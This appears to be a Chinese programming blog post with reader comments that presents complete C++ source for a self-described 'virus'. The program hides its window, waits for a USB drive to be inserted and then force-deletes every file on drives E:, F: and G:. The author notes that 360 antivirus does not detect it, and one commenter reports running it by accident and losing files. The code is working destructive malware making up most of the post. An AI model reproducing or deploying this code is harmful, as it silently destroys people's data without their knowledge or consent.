c++删除U盘文件病毒
可移动磁盘存储文件非常方便,当然也成为病毒传播的一个重要手段。
今天我写了一个可以删除U盘里文件的程序,大家一起来看看吧。
代码如下:
#include<windows.h>
#include<bits\stdc++.h>
using namespace std;
int main(){
ShowWindow(GetForegroundWindow(),0);//隐藏窗口
Sleep(1000);
while(1){
char diskPath[5]={0};
DWORD allDisk=GetLogicalDrives();
if(allDisk!=0){
for(int i=0;i<11;i++){
if((allDisk&1)==1){
sprintf(diskPath, "%c", 'C'+i);
strcat(diskPath, ":\\" );
if(GetDriveType(diskPath)==DRIVE_REMOVABLE){
if(GetVolumeInformation(diskPath,0,0,0,0,0,0,0)){//如果有U盘插入,将其删除
system("del /F /S /Q E:\\");//删除E盘
system("del /F /S /Q F:\\");//删除F盘
system("del /F /S /Q G:\\");//删除G盘
break;
}
}
}
allDisk=allDisk>>1;
}
}
}
return 0;
}
很容易理解,这个程序就是先隐藏自己,然后默默的等待U盘插入。一旦检测到有U盘插入,删除U盘里所有文件。
若不慎打开,可以在任务管理器里将其关闭:
它不能删除需权限文件、加密文件,但十分危险,有较高的危险性,仅供参考,请大家不要轻易尝试。
360并不把它当成病毒:
“吉祥”物: 这个很不好意思,只能试试看文件恢复工具有没有办法了,便携的时候设定为直接删除的。
“吉祥”物: 嗯,在不同环境下开发这个路径不一样,windows下是反斜杠,linux和mac下是正斜杠
C++代言人: 一不小心打开了,怎么恢复啊???????????????
Qzc--π--o(n log n): #include <bits\stdc++.h>不对,应该是#include <bits/stdc++.h>
浪里个浪46: 请问下隐藏控制台下面的代码是加到主函数里面吗